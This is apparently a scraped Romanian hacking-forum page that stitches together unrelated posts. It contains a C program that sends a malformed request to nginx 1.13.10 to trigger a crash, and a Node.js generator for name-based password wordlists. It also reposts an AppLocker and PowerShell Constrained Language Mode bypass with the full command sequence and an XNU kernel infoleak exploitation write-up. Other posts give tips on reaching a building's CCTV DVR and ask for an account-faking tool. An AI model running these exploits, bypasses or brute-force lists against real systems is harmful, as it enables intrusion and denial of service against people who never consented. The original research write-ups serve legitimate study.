Leaderboard

// Underground_Agency (UA) - (koa, bacL, g3kko, Dostoyevsky) // trigger nginx 1.13.10 (latest) logic flaw / bug // ~2018 // Tested on Ubuntu 17.10 x86 4.13.0-21-generic #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <time.h> int main(int argc, char **argv){ int sockfd, ret; sockfd = socket(AF_INET, SOCK_STREAM, 0); if(sockfd < 0){ perror("socket"); exit(EXIT_FAILURE); } struct sockaddr_in servAddr; memset(&servAddr, 0, sizeof(servAddr)); servAddr.sin_family = AF_INET; servAddr.sin_port = htons(atoi(argv[2])); servAddr.sin_addr.s_addr = inet_addr(argv[1]); ret = connect(sockfd, (struct sockaddr *)&servAddr, sizeof(servAddr)); if(ret < 0){ perror("connect"); exit(EXIT_FAILURE); } char buf[2048]; strcpy(buf, "GET / HTTP/1.1\r\nHost: "); strcat(buf, argv[1]); strcat(buf, "\r\n"); strcat(buf, "Connection: close\r\nCache-Control: max-age=0\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36\r\n"); char *buf2 = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\n" "Accept-Encoding: gzip, deflate\r\n\rrrrr\r\r\r\r\\rr\rrrrrr" // bug "Accept-Language: en-US,en;q=0.9\r\n\r\n"; strcat(buf, buf2); char recvbuf[1024]; ret = send(sockfd, buf, strlen(buf), 0); if(ret < 0){ perror("send"); exit(EXIT_FAILURE); } printf("Successfully sent data\n"); ret = recv(sockfd, recvbuf, 1024, 0); if(ret < 0){ perror("recv"); exit(EXIT_FAILURE); } printf("Data: %s\n", recvbuf); close(sockfd); exit(EXIT_SUCCESS); }

Am mai adaugat nume, in total sunt peste 3000. https://files.fm/u/4anfbu48 Generator actualizat, peste 5 mil de variatii const N_DELIM = ['_', ' ', '-'], N_RANGE = [[0, 100], 123, 222, 321, 333, 420, 444, 555, 666, 777, 888, 999, 1111, 1212, 1234, [1980, 2020], 12345, 123456789], N_UPPER = true, N_CAP = true, SHUFFLE = false, MIN_LEN = 8, INPUT = 'nume-ro'; let fs = require('fs'), inFile = __dirname + '/' + INPUT + '-proto', outFile = __dirname + '/' + INPUT + '-full', list = fs.readFileSync(inFile, 'utf8').split(/\r?\n/), normalized = []; for(let line of list){ line = line.trim(); if(line.length > 0) normalized.push(line.toLowerCase()); } normalized = normalized.filter((v, i, arr) => arr.indexOf(v) === i); normalized.sort(); fs.writeFileSync(inFile, normalized.join("\n")); console.log('proto = ' + normalized.length); function add(str, suffix = ''){ let v = []; if(suffix !== '' && N_DELIM.length > 0){ for(let d of N_DELIM){ v.push(str + d + suffix); if(N_UPPER) v.push(str.toUpperCase() + d + suffix); if(N_CAP) v.push(str.charAt(0).toUpperCase() + str.slice(1) + d + suffix); } } v.push(str + suffix); if(N_UPPER) v.push(str.toUpperCase() + suffix); if(N_CAP) v.push(str.charAt(0).toUpperCase() + str.slice(1) + suffix); return v; } let full = []; for(let n of normalized){ full.push(...add(n)); for(let range of N_RANGE){ if(!(range instanceof Array)) range = [range, range]; let [min, max] = range; for(let i = min; i < max + 1; i++){ full.push(...add(n, i)); if(i < 10) full.push(...add(n, '0' + i)); } } } if(SHUFFLE){ for(let i = full.length - 1; i > 0; i--) { let j = Math.floor(Math.random() * (i + 1)); [full[i], full[j]] = [full[j], full[i]]; } } full = full.filter((v, i, arr) => v.length >= MIN_LEN); fs.writeFileSync(outFile, full.join("\n")); console.log('full = ' + full.length);

https://nytrosecurity.com/2018/03/31/netripper-at-blackhat-asia-arsenal-2018/

done

Executing Commands and Bypassing AppLocker with PowerShell Diagnostic Scripts JANUARY 7, 2018 ~ BOHOPS Introduction Last week, I was hunting around the Windows Operating System for interesting scripts and binaries that may be useful for future penetration tests and Red Team engagements. With increased client-side security, awareness, and monitoring (e.g. AppLocker, Device Guard, AMSI, Powershell ScriptBlock Logging, PowerShell Constraint Language Mode, User Mode Code Integrity, HIDS/anti-virus, the SOC, etc.), looking for ways to deceive, evade, and/or bypass security solutions have become a significant component of the ethical hacker’s playbook. While hunting, I came across an interesting directory structure that contained diagnostic scripts located at the following ‘parent’ path: %systemroot%\diagnostics\system\ In particular, two subdirectories (\AERO) and (\Audio) contained two very interesting, signed PowerShell Scripts: CL_Invocation.ps1 CL_LoadAssembly.ps1 CL_Invocation.ps1 provides a function (SyncInvoke) to execute binaries through System.Diagnostics.Process. and CL_LoadAssembly.ps1 provides two functions (LoadAssemblyFromNS and LoadAssemblyFromPath) for loading .NET/C# assemblies (DLLs/EXEs). Analysis of CL_Invocation.ps1 While investigating this script, it was quite apparent that executing commands would be very easy, as demonstrated in the following screenshot: Importing the module and using SyncInvoke is pretty straight forward, and command execution is successfully achieved through: . CL_Invocation.ps1 (or import-module CL_Invocation.ps1) SyncInvoke <command> <arg...> However, further research indicated that this technique did not bypass any protections with subsequent testing efforts. PowerShell Contrained Language Mode (in PSv5) prevented the execution of certain PowerShell code/scripts and Default AppLocker policies prevented the execution of unsigned binaries under the context of an unprivileged account. Still, CL_Invocation.ps1 may have merit within trusted execution chains and evading defender analysis when combined with other techniques. **Big thanks to @Oddvarmoe and @xenosCR for their help and analysis of CL_Invocation Analysis of CL_LoadAssembly.ps1 While investigating CL_LoadAssembly, I found a very interesting write-up (Applocker Bypass-Assembly Load) by @netbiosX that describes research conducted by Casey Smith (@subTee) during a presentation at SchmooCon 2015. He successfully discovered an AppLocker bypass through the use of loading assemblies within PowerShell by URL, file location, and byte code. Additionally, @subTee alluded to a bypass technique with CL_LoadAssembly in a Tweet posted a few years ago: In order to test this method, I compiled a very basic program (assembly) in C# (Target Framework: .NET 2.0) that I called funrun.exe, which runs calc.exe via proc.start() if (successfully) executed: Using a Windows 2016 machine with Default AppLocker rules under an unprivileged user context, the user attempted to execute funrun.exe directly. When called on the cmd line and PowerShell (v5), this was prevented by policy as shown in the following screenshot: Funrun.exe was also prevented by policy when ran under PowerShell version 2: Using CL_LoadAssembly, the user successfully loads the assembly with a path traversal call to funrun.exe. However, Constrained Language mode prevented the user from calling the method in PowerShell (v5) as indicated in the following screenshot: To bypass Constrained Language mode, the user invokes PowerShell v2 and successfully loads the assembly with a path traversal call to funrun.exe: The user calls the funrun assembly method and spawns calc.exe: Success! As an unprivileged user, we proved that we could bypass Constrained Language mode by invoking PowerShell version 2 (Note: this must be enabled) and bypassed AppLocker by loading an assembly through CL_LoadAssembly.ps1. For completeness, here is the CL sequence: powershell -v 2 -ep bypass cd C:\windows\diagnostics\system\AERO import-module .\CL_LoadAssembly.ps1 LoadAssemblyFromPath ..\..\..\..\temp\funrun.exe [funrun.hashtag]::winning() AppLocker Bypass Resources For more information about AppLocker bypass techniques, I highly recommend checking out The Ultimate AppLocker Bypass List created and maintained by Oddvar Moe (@Oddvarmoe). Also, these resources were very helpful while drafting this post: AppLocker Bypass-Assembly Load – https://pentestlab.blog/tag/assembly-load/ C# to Windows Meterpreter in 10 min – https://holdmybeersecurity.com/2016/09/11/c-to-windows-meterpreter-in-10mins/ Conclusion Well folks, that covers interesting code execution and AppLocker bypass vectors to incorporate into your red team/pen test engagements. Please feel free to contact me or leave a message if you have any other questions/comments. Thank you for reading! Sursa: https://bohops.com/2018/01/07/executing-commands-and-bypassing-applocker-with-powershell-diagnostic-scripts/

Esti necrofil?

Si aici am facut un mic program care sa normalizeze lista precedenta si sa genereze inca o lista cu variante cu litere mari, litere capitale, 0-100, 1980-2020, spatiu si underscore. Astept si alte idei. let N_DELIM = true, N_100 = true, N_2K = true, N_UPPER = true, N_CAP = true, fs = require('fs'), list = fs.readFileSync(__dirname + '/proto', 'utf8').split(/\r?\n/), normalized = []; for(let line of list){ line = line.trim(); if(line.length > 0) normalized.push(line.toLowerCase()); } normalized = normalized.filter((v, i, arr) => arr.indexOf(v) === i); normalized.sort(); fs.writeFileSync(__dirname + '/proto', normalized.join("\n")); console.log('proto = ' + normalized.length); function add(str, suffix = ''){ let delim = ['_', ' '], v = []; if(suffix !== '' && N_DELIM){ for(let d of delim){ v.push(str + d + suffix); if(N_UPPER) v.push(str.toUpperCase() + d + suffix); if(N_CAP) v.push(str.charAt(0).toUpperCase() + str.slice(1) + d + suffix); } } v.push(str + suffix); if(N_UPPER) v.push(str.toUpperCase() + suffix); if(N_CAP) v.push(str.charAt(0).toUpperCase() + str.slice(1) + suffix); return v; } let full = []; for(let n of normalized){ full.push(...add(n)); if(N_100) for(let i = 0; i < 101; i++) full.push(...add(n, i)); if(N_2K) for(let i = 1979; i < 2021; i++) full.push(...add(n, i)); } fs.writeFileSync(__dirname + '/full', full.join("\n")); console.log('full = ' + full.length); Cu toate activate se genereaza cam 3 milioane de nume.

CVE-2017-13868: A fun XNU infoleak by Brandon Azad March 2, 2018 Way back in October of 2017, I discovered CVE-2017-13868, a kernel information leak in XNU that was quite fun to analyze and exploit. While browsing the XNU source code, I noticed that the function ctl_ctloutput didn’t check the return value of a call to sooptcopyin. This immediately caught my attention because error checking in the kernel is very important: poor error checking is a frequent source of security bugs. In this case, failing to check the return value opened a race window that could allow a privileged process to read an arbitrary amount of uninitialized kernel heap data. Finding the vulnerability One of the most effective ways I have for finding vulnerabilities is simply reading through the source code of areas of the kernel that seem relevant to security. I’ve found more bugs by source code auditing and reverse engineering than by any other technique, including fuzzing and, my favorite, stumbling onto a security flaw by accident (it happens surprisingly often). I started looking for iOS bugs again around mid September of last year. Around that time I noticed that there seemed to be an uptick in the number of race conditions reported in Apple’s security notes for macOS and iOS. Because of that, I figured it would be good to keep parallelism in mind while auditing. I had decided to look at indirect calls to copyout to see if I could discover any obvious information leaks. Information leaks are a category of vulnerability where the kernel discloses information that it shouldn’t. For example, disclosing kernel pointers to userspace may allow a local attacker to defeat the kernel’s address space randomization (kASLR) exploit mitigation. Exploit techniques like ROP depend on knowing the location of the kernel’s executable code in memory, which means kernel pointer disclosures have become a key component of modern macOS and iOS kernel exploitation. The copyout function is responsible for copying data from the kernel’s address space into the address space of usermode processes. Most kernel infoleaks will pass the leaked data through copyout, which makes call sites to this function promising areas to look for bugs. However, it’s not just this one function: there are many wrappers around copyout that are also worth investigating. For example, one such wrapper is sooptcopyout, which is used to copy out socket options data for the getsockopt system call. It was while looking through calls to this function that the following code, from the ctl_ctloutput function in the file bsd/kern/kern_control.c, caught my eye: if (sopt->sopt_valsize && sopt->sopt_val) { MALLOC(data, void *, sopt->sopt_valsize, M_TEMP, // (a) data is allocated M_WAITOK); // without M_ZERO. if (data == NULL) return (ENOMEM); /* * 4108337 - copy user data in case the * kernel control needs it */ error = sooptcopyin(sopt, data, // (b) sooptcopyin() is sopt->sopt_valsize, sopt->sopt_valsize); // called to fill the } // buffer; the return len = sopt->sopt_valsize; // value is ignored. socket_unlock(so, 0); error = (*kctl->getopt)(kctl->kctlref, kcb->unit, // (c) The getsockopt() kcb->userdata, sopt->sopt_name, // implementation is data, &len); // called to process if (data != NULL && len > sopt->sopt_valsize) // the buffer. panic_plain("ctl_ctloutput: ctl %s returned " "len (%lu) > sopt_valsize (%lu)\n", kcb->kctl->name, len, sopt->sopt_valsize); socket_lock(so, 0); if (error == 0) { if (data != NULL) error = sooptcopyout(sopt, data, len); // (d) If (c) succeeded, else // then the data buffer sopt->sopt_valsize = len; // is copied out to } // userspace. The ctl_ctloutput function is responsible for handling the getsockopt system call on kernel control sockets (that is, sockets created with domain PF_SYSTEM and protocol SYSPROTO_CONTROL). The code does the following: It allocates a kernel heap buffer for the data parameter to getsockopt. Because the M_ZERO flag is not specified, the allocation is not zeroed out. It copies in the getsockopt data from userspace using sooptcopyin, filling the data buffer just allocated. This copyin should completely overwrite the allocated data, which is why the M_ZERO flag was not needed. The return value is not checked. It then calls kctl->getopt, the real getsockopt implementation for this kernel control socket. This implementation will process the input buffer, possibly modifying it and shortening it, and return a result code. Finally, if the real getsockopt implementation doesn’t return an error, ctl_ctloutput calls sooptcopyout to copy the data buffer back to user space. The issue is that the return value from sooptcopyin is not checked. This begs the question: what could happen if sooptcopyin fails that wouldn’t be possible if the return value were checked? Analyzing exploitability The function sooptcopyin is responsible for copying in the getsockopt options data from userspace into the allocated buffer. If sooptcopyin fails, perhaps because the socket options data address is invalid, then the kernel data buffer which should have contained the options data will be uninitialized. And because the data buffer was allocated without the M_ZERO flag, that means that it will contain uninitialized kernel heap data, possibly rife with useful kernel pointers. So, the lack of error checking means that the data buffer passed to kctl->getopt could actually contain uninitialized kernel heap data, even though the code as written seems to expect the contents of the data buffer to always be initialized before the call to kctl->getopt. Is there a way to get that uninitialized memory to flow to a call to copyout? The obvious candidate for copyout is the call to sooptcopyout just after kctl->getopt. But there’s a problem: sooptcopyout is passed the same sopt structure that was supplied to sooptcopyin, which means it will try to write the uninitialized data to the same address from which sooptcopyin tried to read the socket options earlier. And in order to force sooptcopyin to fail we supplied it with an invalid address. So how do we make sooptcopyout succeed where sooptcopyin failed? At this point I remembered to consider parallelism. Would it be possible to make the memory address valid in between the calls to sooptcopyin and sooptcopyout? To do that, we’d need to call getsockopt with an unmapped address, and while getsockopt is running in the kernel, call mach_vm_allocate on another thread to map that address. That way, the address would be unmapped when sooptcopyin is called, causing it to fail, but mapped when sooptcopyout is called, allowing the copyout of uninitialized kernel heap data to succeed. However, there’s one more thing we need to check: does the uninitialized heap data actually make it all the way to the call to sooptcopyout? There’s an intervening call to kctl->getopt which could overwrite the uninitialized data or change the length of the data to copy out to userspace. The actual implementation of kctl->getopt is determined by what type of control socket we’re operating on. Thus, in order to reach sooptcopyout with the uninitialized data intact, we need to find a kernel control socket with a getopt implementation that: does not overwrite the whole data buffer; does not shorten the data buffer; and returns success (that is, 0). Fortunately, it didn’t take much searching to find a candidate: the function necp_ctl_getopt, which is the getopt implementation for NECP kernel control sockets, simply returns 0 without processing the data buffer at all. The primary limitation of this approach is our ability to reallocate the memory address between the calls to sooptcopyin and sooptcopyout. Not a lot of work happens between those calls, meaning the race window could be pretty tight. If the race window is too tight, it might take a large number of tries to actually win the race. An alternative approach (that did not work) While reviewing this bug later, it seemed like it should have been possible to trigger it without any race at all by marking the memory write-only. That way, sooptcopyin would fail with EFAULT (because the memory is not readable) but sooptcopyout would succeed. However, in my testing, this simpler exploit strategy didn’t work: getsockopt would fail with EFAULT. I’m not sure why this happened. The final exploit After figuring out a strategy to trigger the information leak, I implemented the exploit. The high-level strategy is to open an NECP kernel control socket, launch a thread that will repeatedly map and unmap the target memory address, and then repeatedly call getsockopt on the control socket to try and trigger the leak. The complete exploit is available on my GitHub. Amazingly, it turned out that this was a pretty easy race to win. I performed tests on a 2015 Macbook Pro and an iPhone 7, and found that the median number of attempts to win the race on these platforms was 5 and 2, respectively. (The distribution was rather uneven, with the mean number of attempts on the Macbook sometimes rising as high as 600. However, this was primarily due to a few very large outliers, where it would take tens of thousands of attempts to win the race.) What’s great about this infoleak is that it does not depend on a fixed leak size: you can use it to leak data from arbitrary kernel heap zones by specifying different sizes to getsockopt. This makes for a very useful exploit primitive when performing complex attacks on the kernel. The fix I reported this issue to Apple on October 7, 2017, and it was assigned CVE-2017-13868. Apple fixed the bug in macOS 10.13.2 and iOS 11.2. Looking at the new kern_control.c, Apple decided to fix the bug by wrapping the code after the call to sooptcopyin in an if statement that checks whether there has been an error. I believe that this is the correct fix for this issue. Sursa: https://bazad.github.io/2018/03/a-fun-xnu-infoleak/

strict referitor la intrebarea ta: Nu se poate ceea ce vrei tu, nu este imposibil dar nici usor! Pentru a-ti fi mai usor poti intreba administratorul blocului. Daca ii explici situatia cred ca te va ajuta. Ideea este in felul urmator: Camera poate sa fie normala(conexiune directa cu aparatul) sau IP, ea se concteaza intr-un DVR/NVR, la baza este linux, nu foarte usor de hack-uit (ea trebuie conectat la un DVR sau NVR pentru a stoca imaginile, bine asta daca e facuta de o firma specializata si nu e doar un fake cam) Poti verifica, daca ai acces in reteaua respectiva, sa instalezi aplicatia gDMSS / iDMSS sau iVMS (Android respectiv iPhone) Dai un scan si e posibil sa iti raspunda DVRul / NVRul - de aici iti trebuie usernameul si parola (care la fel nu sunt usor de aflat) Dahua si Hikvision sunt top producatori de camere de supraveghere, aproape toate companiile ce se ocupa cu montajul sistemelor de securitate folosesc dispozitivele acestea(calitate si claritate) Repet mai simplu si mai usor e sa intrebi Administratorul blocului, camerele din bloc / lift sunt si la dispozitia locatarilor(este dreptul lor) (de obicei aceste montaje si echipamente sunt platite din banii locatarilor) ATENTIE: Dupa 5 incercari esuate ambi producatori blocheaza contul pana la urmatorul restart

Buna ziua, a fost postat un program de creat premium member account. Poate sa ma ajute cineva cu el, sau ceva informatii? Multumesc anticipat!!

.